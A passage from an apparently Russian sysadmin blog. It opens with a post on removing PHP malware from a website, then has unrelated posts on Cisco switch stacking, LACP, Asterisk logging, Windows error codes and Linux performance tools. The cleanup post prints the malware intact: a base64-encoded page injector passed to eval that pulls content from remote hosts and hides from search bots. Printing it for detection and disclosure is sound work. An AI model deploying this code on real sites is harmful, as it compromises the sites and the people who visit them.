bGF0ZShAc3Vic3RyKCRnemVuY29kZV9hcmcsICRzaGlmdCkpOwogICAgICAgICAgICAgICAgICAgIGlmKCRnemlwID09PSBGQUxTRSkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICRnemlwID0gJGd6ZW5jb2RlX2FyZzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRnemlwOwogICAgICAgICAgICAgICAgfQoKICAgIGZ1bmN0aW9uIHFxdGtfdmFiYyggJHVybCApIHsKCi8qICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygiY3VybF9pbml0IikpCiAgICAgICAgewogICAgICAgICAgJGNoID0gY3VybF9pbml0KCR1cmwpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7CiAgICAgICAgICAgICRjdXJsX3Jlc3VsdCA9IGN1cmxfZXhlYyAoJGNoKTsKICAgICAgICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgICAgICAgICBpZiAoJGN1cmxfcmVzdWx0KSByZXR1cm4gJGN1cmxfcmVzdWx0OwogICAgICAgIH0KCiAgICAgICAgaWYgKEBpbmlfZ2V0KCJhbGxvd191cmxfZm9wZW4iKSkKICAgICAgICB7CiAgICAgICAgICAgICRmaWxlX3Jlc3VsdCA9IEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsKICAgICAgICAgICAgaWYgKCRmaWxlX3Jlc3VsdCkgcmV0dXJuICRmaWxlX3Jlc3VsdDsKICAgICAgICB9ICAgKi8KCiAgICAgICAgJHVybF9pbmZvID0gcGFyc2VfdXJsKCR1cmwpOwogICAgICAgICRxdWVyeSAgPSAiR0VUICR1cmwgSFRUUC8xLjBcclxuIjsKICAgICAgICAkcXVlcnkgLj0gIkhvc3Q6ICIgLiAkdXJsX2luZm9bImhvc3QiXSAuICJcclxuIjsKICAgICAgICAkcXVlcnkgLj0gIkNvbm5lY3Rpb246IENsb3NlXHJcblxyXG4iOwogICAgICAgICRmcCA9IEBmc29ja29wZW4oJHVybF9pbmZvWyJob3N0Il0sIDgwLCAkZXJybm8sICRlcnJzdHIsIDUpOwogICAgICAgIGlmICghJGZwKSByZXR1cm4gZmFsc2U7CiAgICAgICAgQGZwdXRzKCRmcCwgJHF1ZXJ5KTsKICAgICAgICBAc29ja2V0X3NldF90aW1lb3V0ICgkZnAsIDUsIDApOwogICAgICAgICRzX3JldGNvZGUgPSBAc3Vic3RyIChAZmdldHMgKCRmcCwgNDA5NiksIDksIDMpOwogICAgICAgIGlmICgkc19yZXRjb2RlezB9IDw+ICIyIikge3JldHVybiBGQUxTRTt9CiAgICAgICAgd2hpbGUgKCEgQGZlb2YgKCRmcCkpCiAgICAgICAgewogICAgICAgICAgICBpZiAoIlxyXG4iID09PSBAZmdldHMgKCRmcCwgNDA5NikpIHticmVhazt9CiAgICAgICAgfQogICAgICAgICRzb2NrZXRfcmVzdWx0ID0gIiI7CiAgICAgICAgd2hpbGUgKCEgQGZlb2YgKCRmcCkpIHsKICAgICAgICAgICAgJHNvY2tldF9yZXN1bHQgLj0gQGZnZXRzICgkZnAsIDQwOTYpOwogICAgICAgIH0KICAgICAgICBAZmNsb3NlKCRmcCk7CiAgICAgICAgaWYgKCRzb2NrZXRfcmVzdWx0KSByZXR1cm4gJHNvY2tldF9yZXN1bHQ7CiAgICB9CiAgICBmdW5jdGlvbiBwbmp6a2tfeXdpYmooJGh6cnd3KXtyZXR1cm4gcHJlZ19yZXBsYWNlKCIjKDwvdGFibGU+Lio8dGQ+fDwvdGFibGU+fDwvZGl2PltePD5dKjxkaXZbXjw+XSo+fDwvYm9keT4pI2lzIiwgIiQxIiAuIHZybmFuX3l1ciwgenppb19xZXdwZygkaHpyd3cpLCAxKTsKICAgIH0kdnJuYW5feXVyPXFxdGtfdmFiYyhiYXNlNjRfZGVjb2RlKCJhSFIwY0RvdkwyZGpiM1Z1ZEdWeUxtTnVMMmx1Wm04dWNHaHciKSAuICI/aT0iIC4gJF9TRVJWRVJbIlJFTU9URV9BRERSIl0pO0BwcmVnX21hdGNoKCIjPG9wZW4+KC4qKTwvY2xvc2U+IyIsICR2cm5hbl95dXIsICRtYXRjaGVzKTskdnJuYW5feXVyPSBpc3NldCgkbWF0Y2hlc1sxXSkgPyAkbWF0Y2hlc1sxXSA6ICIiO2lmICgkdnJuYW5feXVyKSB7ZGVmaW5lKCJ2cm5hbl95dXIiLCR2cm5hbl95dXIpOyBvYl9zdGFydCgicG5qemtrX3l3aWJqIik7fX0=");
function wbbehkjtmnq()
{
    $orb = "ipj";
    $qsodot = "ykt";
    $ddlaff = "rsir";
    $adj = "evyew";
    $qtvu = "wyg";
}
eval($cjyeimkm);

а также

find ./ -type f -exec grep -nH -i itdspartners.org {} \;

./test/index.php:68:    $u4ain=@file_get_contents ("http://itdspartners.org/lnk.php?c=utf&s=");
./test/index.php:73:            $u4ain=@file_get_contents ("http://itdspartners.org/test.php");
./shop/index.php:68:    $u4ain=@file_get_contents ("http://itdspartners.org/lnk.php?c=utf&s=");
./shop/index.php:73:            $u4ain=@file_get_contents ("http://itdspartners.org/test.php");

код вируса

if(@$_COOKIE['act']!=1){      
    $u4ain=@file_get_contents ("http://itdspartners.org/lnk.php?c=utf&s=");
    echo $u4ain;
}
if(@$_COOKIE['act']!=1){          
    if(getenv('HTTP_REFERER')!=""&&!stristr(getenv('HTTP_USER_AGENT'),"bot")&&!stristr(getenv('HTTP_USER_AGENT'),"google")&&!stristr(getenv('HTTP_USER_AGENT'),"yandex")){
        $u4ain=@file_get_contents ("http://itdspartners.org/test.php");
        echo $u4ain;
    }
}
?>

как видите отличные утилиты strace, tcpdump позволяют нам очень быстро найти скрипты вируса и удалить его с сайта. Надеюсь кому-то пригодится. Как видите я по моей неопытности даром переставлял апач нужно было правильно запустить tcpdump c -A ключем и включить трейс и тогда бы скрипты выруса были вычеслены очень быстро. Преимущество данного метода налицо по сравнению с другими статьями в интернете - например
а). не нужно копировать сайт на локальную машину и там искать зараженные файли а потом копировать сайт обратно
б). мы сразу видим зараженный файл
в). даже если вирус использует кодирование это его не спасает от утилиты strace, которая все равно находит зараженные файл.

P.S. вирус был отослан на анализ clamav и kasperkiy 31.04 через их сайты, проверка 04.04 на virustotal.com показала что clamav класифицирует вирус как Trojan.PHP-34 (второй Trojan.PHP-35). Касперский до сих пор как и другие вендоры в базу вирусов данный тип вируса не добавил.
Также можете использовать данный скриптик для поиска шелов у себя на сайте
https://github.com/emposha/PHP-Shell-Detector

четверг, 16 февраля 2012 г.

cisco switch stack

Есть 2 свича в стеке нужно добавить 3. У свичей должны быть одинаковы ios, sdm режим, а также нужно чтобы приоритет мастер свича был выше присоединяемого
1). на стеке
s-1(config)#switch 3 provision ws-c3750g-12s
теперь команда
s-1#sh switch
                                               Current
Switch#  Role      Mac Address     Priority     State
--------------------------------------------------------
*1       Master    0017.0e15.9e00     1         Ready            
 2       Slave     0018.199f.3580     1         Ready            
 3       Slave     0000.0000.0000     0         Provisioned

показывает нам третий свич без маков поскольку мы его еще не подключили.
2). Проверяем ios
s-1#sh ver

Switch   Ports  Model              SW Version              SW Image          
------   -----  -----              ----------              ----------        
*    1   52     WS-C3750-48TS      12.2(25)SEA             C3750-ADVIPSERVICESK
      2   52     WS-C3750-48TS      12.2(25)SEA             C3750-ADVIPSERVICESK

s-1#dir

    4  -rwx     7277488   Mar 1 1993 17:11:25 +02:00  c3750-advipservicesk9-mz.122-25.SEA.bin

проще всего его закинуть на tftp (copy flash tftp) а оттуда забрать его на новый свич (copy tftp flash) и сделать загрузочным (boot system c3750-advipservicesk9-mz.122-25.SEA.bin - проверка что загрузочным стал другой образ - sh boot)
3). Проверяем sdm и делаем его таким же на новом свиче
s-1#sh sdm prefer
 The current template is "desktop default" template.
 The selected template optimizes the resources in
 the switch to support this level of features for
 8 routed interfaces and 1024 VLANs.

  number of unicast mac addresses:                  6K
  number of IPv4 IGMP groups + multicast routes:    1K
  number of IPv4 unicast routes:                    8K
    number of directly-connected IPv4 hosts:        6K
    number of indirect IPv4 routes:                 2K
  number of IPv4 policy based routing aces:         0
  number of IPv4/MAC qos aces:                      512
  number of IPv4/MAC security aces:                 1K

на новом свиче
sdm prefer default
4). делаем приоритет нового свича наименьшим. Используем
s-1#sh switch
                                               Current
Switch#  Role      Mac Address     Priority     State
--------------------------------------------------------
*1       Master    0017.0e15.9e00     1         Ready            
 2       Slave     0018.199f.3580     1         Ready            
 3       Slave     0000.0000.0000     0         Provisioned

делаем на нашем мастере 15 (наивысший)
switch 1 priority 15
и проверяем что на новом приоритет ниже и не равен нашему мастеру (в принцыпе все)

Результат

s-1#sh switch
                                               Current
Switch#  Role      Mac Address     Priority     State
--------------------------------------------------------
*1       Master    0017.0e15.9e00     15        Ready              
 2       Slave     0018.199f.3580     1         Ready              
 3       Slave     0018.7346.8a80     1         Ready


вторник, 14 февраля 2012 г.

asterisk console и как из нее получить логи в файлик

Астериск хоть и ведет логи на сообщение консоли там получить в принципе нельзя, так как включение debug в /etc/asterisk/logger.conf  для
console => notice,warning,error,debug
или
full => notice,warning,error,debug,verbose
толку дает 0.
Для этого консоль запускаем так 
asterisk -rvvvvv 2>&1 | tee -a console.log
ключ -T ключей консоли время в лог не добавляет поэтому нужен сторонний скрипт для добавление времени в лог,  например такой (ключ -a команды tee также очень важен поскольку позволяет эти штампы времени в конечном логе увидеть, без него они будут видны используя tail -f но less, more, vim их вам не покажут)
cat asterisk.sh
#!/bin/bash
while true; do
date >> console.log
sleep 10
done
В принципе все пример вывода смотрим ниже (штамп времени выделен жирным):
root@pbxnode0:~# tail -f console.log
> doing dnsmgr_lookup for 'inbound4.vite.net'
> doing dnsmgr_lookup for 'callcentric.com'
> ast_get_srv: SRV lookup for '_sip._UDP.call.com' mapped to host alpha1.call.com, port 5080
pbxnode0*CLI> Fri Feb 10 14:12:31 EST 2012


пятница, 3 февраля 2012 г.

LACP (агрегирование каналов) между cisco ios and cisco catos

Агрегирование каналов (агрегация каналов, англ. link aggregation) — технология, которая позволяет объединить несколько физических каналов в один логический. Такое объединение позволяет увеличивать пропускную способность и надежность канала. Агрегирование каналов может быть настроено между двумя коммутаторами, коммутатором и маршрутизатором, между коммутатором и хостом.


Cisco ios (конфигурация)



interface GigabitEthernet2/0/1
 description EC #1
 switchport trunk encapsulation dot1q
 switchport trunk allowed vlan 1,201,256,649,650,2501
 switchport mode trunk
 channel-group 1 mode active
end
interface GigabitEthernet2/0/2
 description EC #2
 switchport trunk encapsulation dot1q
 switchport trunk allowed vlan 1,201,256,649,650,2501
 switchport mode trunk
 channel-group 1 mode active
end
interface Port-channel1
 description EC
 switchport trunk encapsulation dot1q
 switchport trunk allowed vlan 1,201,256,649,650,2501
 switchport mode trunk
end

Cisco ios (диагностика)



show etherchannel summary 
Flags:  D - down        P - in port-channel
        I - stand-alone s - suspended
        H - Hot-standby (LACP only)
        R - Layer3      S - Layer2
        U - in use      f - failed to allocate aggregator
        u - unsuitable for bundling
        w - waiting to be aggregated
        d - default port


Number of channel-groups in use: 1
Number of aggregators:           1

Group  Port-channel  Protocol    Ports
------+-------------+-----------+-----------------------------------------------
1      Po1(SU)         LACP      Gi2/0/1(P)  Gi2/0/2(P)

show etherchannel port (можно посмотреть приоритет порта)
show etherchannel port-channel 
show etherchannel detail (информация аналогична предыдущей)


show etherchannel protocol 
                Channel-group listing: 
                ----------------------


Group: 1 
----------
Protocol:  LACP


sh lacp counters 
             LACPDUs         Marker      Marker Response    LACPDUs
Port       Sent   Recv     Sent   Recv     Sent   Recv      Pkts Err
---------------------------------------------------------------------
Channel group: 1
Gi2/0/1     2621   2383     0      0        0      0         0     
Gi2/0/2     2501   2273     0      0        0      0         0     


sh lacp internal 
Flags:  S - Device is requesting Slow LACPDUs 
        F - Device is requesting Fast LACPDUs
        A - Device is in Active mode       P - Device is in Passive mode     


Channel group 1
                            LACP port     Admin     Oper    Port     Port
Port      Flags   State     Priority      Key       Key     Number   State
Gi2/0/1   SA      bndl      32768         0x1       0x1     0x35     0x3D  
Gi2/0/2   SA      bndl      32768         0x1       0x1     0x36     0x3D  


sh lacp neighbor 
Flags:  S - Device is requesting Slow LACPDUs 
        F - Device is requesting Fast LACPDUs
        A - Device is in Active mode       P - Device is in Passive mode     


Channel group 1 neighbors


Partner's information:


                  LACP port                        Oper    Port     Port
Port      Flags   Priority  Dev ID         Age     Key     Number   State
Gi2/0/1   SA      50        000a.b83c.ebc0   1s    0x642   0x71     0x3D  
Gi2/0/2   SA      50        000a.b83c.ebc0   5s    0x642   0x72     0x3D  


sh lacp sys-id 
32768,0012.d97e.8280

Cisco catos (конфигурация)



set channelprotocol lacp 2
set port lacp-channel 2/49-50 100
set trunk 2/49 on dot1q 1-1005,1025-4094
set trunk 2/50 on dot1q 1-1005,1025-4094
set port lacp-channel 2/49-50 mode active
set port lacp-channel 2/49 port-priority 50
set port lacp-channel 2/50 port-priority 50


Cisco catos (диагностика)



show lacp-channel sys-id 
System Mac: 00-0a-b8-3c-eb-c0
System priority: 32768

show lacp-channel statistics 
Port  Channel LACP Pkts   LACP Pkts Marker Pkts Marker Pkts LACP Pkts
      id      Transmitted Received  Transmitted Rewceived   InError
----- ------- ----------- --------- ----------- ----------- ---------
 2/49     441        2402      2636           0           0         0
 2/50     441        2292      2518           0           0         0


show lacp-channel traffic    
ChanId Port  Rx-Ucst Tx-Ucst Rx-Mcst Tx-Mcst Rx-Bcst Tx-Bcst
------ ----- ------- ------- ------- ------- ------- -------
   441  2/49  99.99%   4.35%  65.04%  96.46%  65.89% 100.00%
   441  2/50   0.01%  95.65%  34.96%   3.54%  34.11%   0.00%

и даже такое (на обоих портах картина одинакова)

show spantree 2/49
Edge Port:          No, (Configured) Default
Link Type:         P2P, (Configured) Auto
Port Guard:    Default
Port                     Vlan State         Role Cost      Prio Type
------------------------ ---- ------------- ---- --------- ---- -----------------
2/49-50                  1    forwarding    ROOT         3   32 P2P, PEER(STP)
2/49-50                  201  forwarding    DESG         3   32 P2P, PEER(STP)
2/49-50                  256  forwarding    DESG         3   32 P2P, PEER(STP)
2/49-50                  649  forwarding    DESG         3   32 P2P, PEER(STP)
2/49-50                  650  forwarding    DESG         3   32 P2P, PEER(STP)
2/49-50                  2501 forwarding    DESG         3   32 P2P


(источник http://xgu.ru/wiki/%D0%90%D0%B3%D1%80%D0%B5%D0%B3%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BA%D0%B0%D0%BD%D0%B0%D0%BB%D0%BE%D0%B2)


Особенности



sh mac-address-table interface Gi2/0/1
          Mac Address Table
-------------------------------------------

Vlan    Mac Address       Type        Ports
----    -----------       --------    -----

как видим маков на порту нет, зато они есть на Port-channel1 интерфейсе

sh mac-address-table interface Po1    
          Mac Address Table
-------------------------------------------

Vlan    Mac Address       Type        Ports
----    -----------       --------    -----
   1    000a.b83c.ebce    DYNAMIC     Po1
   1    000a.b83c.ebff    DYNAMIC     Po1
 201    000a.b83c.ebce    DYNAMIC     Po1
 201    649e.f335.465a    DYNAMIC     Po1
 649    000a.b83c.ebce    DYNAMIC     Po1
 650    000a.b83c.ebce    DYNAMIC     Po1
 650    649e.f354.8901    DYNAMIC     Po1
2501    000a.b83c.ebce    DYNAMIC     Po1
2501    649e.f354.8901    DYNAMIC     Po1
 206    000a.b83c.ebce    DYNAMIC     Po1
 209    000a.b83c.ebce    DYNAMIC     Po1
 209    3085.a96b.5690    DYNAMIC     Po1
Total Mac Addresses for this criterion: 12 

четверг, 26 января 2012 г.

Как прочитать код ошибки в windows

Во время настройки одного из заданий для планировщика, в момент сохранения, появилась ошибка. Ошибка имела следующий код 2147944309. Абсолютно не информативно.
Предлагаю хинт – после трех манипуляций без всякого гугла ошибка станет чуть более понятной. Потребуется два инструмента: калькулятор в режиме «Программист» и утилита командной строки. Скармливаем калькулятору номер ошибки и переводим его в шестнадцатеричную систему (настоящие гуру могут не запускать калькулятор, а проделать операцию в уме  ). Получили 80070775. Первый четыре цифры указывают на тип ошибки. Вторые четыре на номер ошибки. Нас интересует номер 0775. Не забываем, что это шестнадцатеричная система. При помощи калькулятора переводим в десятичную:

0775(HEX)=1909(DEC)

Теперь нам понадобится командная строка.

Ввожу:

net helpmsg 1909.
Получаю ответ:

Учётная запись пользователя заблокирована и не может быть использована для входа в сеть

Безликий код стал более читаемой ошибкой.

источник http://it-blojek.ru/?p=464

Linux оценка производительности и загрузки

1). sar | less

Linux 2.6.18-238.9.1.el5PAE (redhat)    26.01.2012

00:00:03          CPU     %user     %nice   %system   %iowait    %steal     %idle
11:10:01          all      5,07      0,00      2,52      0,32      0,00     92,09
11:20:01          all     13,05      0,00      2,91      0,60      0,00     83,44
11:30:01          all      7,39      0,00      2,81      0,49      0,00     89,31
11:40:01          all      8,81      0,00      2,86      0,83      0,00     87,50

2). iostat -m 

Linux 2.6.18-238.9.1.el5PAE (redhat)    26.01.2012

avg-cpu:  %user   %nice %system %iowait  %steal   %idle
           3,84    0,04    2,23    1,09    0,00   92,80

Device:            tps    MB_read/s    MB_wrtn/s    MB_read    MB_wrtn
cciss/c0d0       26,81         0,04         0,26     275736    1926453
cciss/c0d0p1     26,79         0,04         0,26     273628    1924436
cciss/c0d0p2      0,02         0,00         0,00       2107       2016

-m - показывает информацию в мегабайтах

3). mpstat -P ALL 2 5

Linux 2.6.18-238.9.1.el5PAE (redhat)    26.01.2012

12:03:04     CPU   %user   %nice    %sys %iowait    %irq   %soft  %steal   %idle    intr/s
12:03:06     all    1,75    0,00    2,25    0,25    0,00    0,00    0,00   95,76   1279,00
12:03:06       0    1,50    0,00    2,00    0,00    0,00    0,00    0,00   96,50   1000,50
12:03:06       1    2,50    0,00    4,00    0,00    0,00    0,00    0,00   93,50      0,00
12:03:06       2    1,01    0,00    1,52    0,00    0,00    0,00    0,00   97,47    244,50
12:03:06       3    1,49    0,00    1,49    1,00    0,00    0,00    0,00   96,02     34,00

-------------------------------(еще 4 отчета)---------------------------------------

Среднее:  CPU   %user   %nice    %sys %iowait    %irq   %soft  %steal   %idle    intr/s
Среднее:  all    6,72    0,00    2,85    0,27    0,02    0,05    0,00   90,08   1308,10
Среднее:    0    4,70    0,00    2,60    0,00    0,00    0,00    0,00   92,70   1000,70
Среднее:    1    6,99    0,00    4,10    0,00    0,00    0,00    0,00   88,91      0,00
Среднее:    2    3,20    0,00    1,90    0,80    0,00    0,20    0,00   93,89    263,30
Среднее:    3   11,98    0,00    2,79    0,30    0,10    0,00    0,00   84,83     44,10

 mpstat -P ALL 2 5 - показывает 5 отчетов статистики для всех процессоров с 2 секундным интервалов

4). dstat

смотрим только винчестер
dstat -d
-dsk/total-
 read  writ
  77k  540k
   0    24k

Смотрим кто лучше грузит процессор, веник, латенцию
dstat -c --top-cpu -d --top-bio --top-latency
----total-cpu-usage---- -most-expensive- -dsk/total- ----most-expensive---- --highest-total--
usr sys idl wai hiq siq|  cpu process   | read  writ|  block i/o process   | latency process 
  4   2  93   1   0   0|qrunner      0.5|  77k  540k|crond       287k  180k|khelper       153
  3   3  94   0   0   0|asterrc      0.2|   0     0 |havp          0   224k|ksoftirqd/3    14
 11   4  85   0   0   0|imapd        7.2|   0     0 |rmngr         0    32k|ksoftirqd/3    58
 10   5  84   0   0   1|rphost       6.2|   0  3224k|kjournald     0  1236k|ksoftirqd/1    51
 12   4  82   0   0   1|rphost       8.5|   0     0 |rmngr         0    96k|ksoftirqd/1    29
  6   3  91   0   0   0|rphost       1.8|   0     0 |postgres: l   0    16k|ksoftirqd/1    39

также можно и так
dstat --top-cpu-adv --top-latency --top-mem


Смотрим какой процесс лучше нагружает винчестер
dstat --top-bio
----most-expensive----
  block i/o process
crond       287k  180k
postgres: w   0    80k
kjournald     0  1128k
MailScanner   0    84k
MailScanner  28k 1552k
(squid)       0    12k
clamd         0  8192B


Проверка скорости винчестеров можно сделать используя команду
#sar -d 5 0
если у в поле %util значение > 70% хотя бы для одного винчестера, то он тормозит операции ввода-вывода и является причиной большой загрузки. Хотя система пока может и работать нормально

также полезна утилита htop которая показывает загрузку каждого ядра и какие процессы грузят ядра больше всего, как и утилита ntop, в которой можно посмотреть в реальном времени загрузку процессора, сети, дисков и другие вещи.

http://dag.wieers.com/home-made/dstat/ - здесь можно почитать

P.S. есть также неплохие утилиты htop, iotop